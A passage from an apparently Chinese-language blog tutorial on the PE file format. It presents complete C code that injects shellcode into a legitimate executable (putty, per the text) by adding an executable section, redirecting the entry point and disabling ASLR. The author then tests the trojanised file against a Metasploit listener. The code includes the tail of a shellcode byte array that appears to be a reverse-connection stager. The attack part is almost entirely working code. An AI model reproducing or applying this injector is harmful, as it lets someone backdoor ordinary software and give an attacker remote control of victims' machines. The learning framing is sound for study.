"\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3\x00\x00\x00\x00\x00\x00\x00"; // 末尾加个7个字节
unsigned long shellcodeLength = sizeof(buf);
fileBuffer = addSection(fileBuffer, shellcodeLength);
injectShellcode(buf, shellcodeLength, fileBuffer);
return 0;
}
char* readFile(const char* fileName) {
// 打开文件
FILE* pf = fopen(fileName, "rb");
if (pf == NULL) {
printf("文件打开失败!");
return NULL;
}
// 获取文件大小
unsigned int fileSize = 0;
fseek(pf, 0, SEEK_END);
fileSize = ftell(pf);
fseek(pf, 0, SEEK_SET);
// 分配内存并初始化
char* fileBuffer = (char*)malloc(fileSize);
if (fileBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(fileBuffer, 0, fileSize);
// 读文件
fread(fileBuffer, fileSize, 1, pf);
fclose(pf);
return fileBuffer;
}
char* addSection(char* fileBuffer, unsigned long shellcodeLength) {
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
if (ppSectionHeader == NULL) {
printf("内存分配失败!");
return NULL;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
}
}
// 检查空间阶段
// 判断是否有足够空间添加节区头
char* start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
char* end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
if (end - start >= 80) {
printf("有足够的空间添加节区头,共:%d个字节\n", end - start);
}
// 判断需要被填充为新节区头的部分是否存在其他数据
for (int i = 0; i < 40; ++i) {
if (start[i] != '\x00') {
printf("节区末尾空间不足,需要上移NT头!");
return NULL;
}
}
// 新增节区头并完善新节区头中的数据阶段
// 新增节区头并设置其属性
PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
// 将上一个节区头拷贝下来
memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);
// 设置节区名
memcpy(newPSectionHeader->Name, ".gcker", 7);
// 设置节区数据实际长度
newPSectionHeader->Misc.VirtualSize = shellcodeLength;
// 设置节区在内存中的偏移量
unsigned int size = 0;
if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
}
else {
size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
}
newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;
// 计算在文件中对齐后的尺寸
newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;
// 计算节区在文件中的偏移量
newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
// 给节区添加执行权限
newPSectionHeader->Characteristics |= 0x20000000;
// 修改PE结构其他成员阶段
// 设置节区头数量
pFileHeader->NumberOfSections += 1;
// 设置内存中整个PE文件尺寸,必须是SectionAlignment的整数倍
pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;
// 新增节区数据
// 新增节区数据,用于存放机器码指令
unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);
return fileBuffer;
}
void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
if (ppSectionHeader == NULL) {
printf("内存分配失败!");
return;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
}
}
PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
// 插入shellcode
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
char newOpcode[] = "\xe8\x00\x00\x00\x00";
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
unsigned int newOpcodeLength = sizeof(newOpcode) - 1;
// 添加call指令调用shellcode
unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));
// 修改OEP
unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
pOptionalHeader->AddressOfEntryPoint = newOEP;
// 关闭随机基址
pOptionalHeader->DllCharacteristics &= 0xffbf;
// 写入文件
FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
return;
}
测试
MSF监听
虚拟机执行生成的1.exe
起飞~
其实这个实验还是有不够完美的地方,就是由于我们直接调用了shellcode,程序一直在执行shellcode的指令,所有putty本身的代码没有执行了,所有运行起来的时候是看不到putty界面出来的。同时因为上移NT头的情况应该比较少见,而且相对不难,我这里就没有写出来了。
0x0b 结尾
这些是我自己近期对PE文件学习的记录,文章中涉及的代码我尽量使用C语言的风格来写,代码可能不是最优化的版本,无法适配所有环境(所以可能师傅们本地测试可能会报错hhh),仅供学习参考。文章中有不对的地方,还希望师傅们能多多指点一下😋~